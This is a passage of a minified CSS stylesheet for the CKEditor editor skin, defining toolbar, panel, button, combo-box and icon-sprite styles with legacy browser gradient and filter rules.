bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_top,.cke_contents,.cke_bottom{width:100%}.cke_button_arrow{font-size:0}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_button,.cke_rtl .cke_button *,.cke_rtl .cke_combo,.cke_rtl .cke_combo *,.cke_rtl .cke_path_item,.cke_rtl .cke_path_item *,.cke_rtl .cke_path_empty{float:none}.cke_rtl .cke_toolgroup,.cke_rtl .cke_toolbar_separator,.cke_rtl .cke_combo_button,.cke_rtl .cke_combo_button *,.cke_rtl .cke_button,.cke_rtl .cke_button_icon{display:inline-block;vertical-align:top}.cke_rtl .cke_button_icon{float:none}.cke_resizer{width:10px}.cke_source{white-space:normal}.cke_bottom{position:static}.cke_colorbox{font-size:0}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px 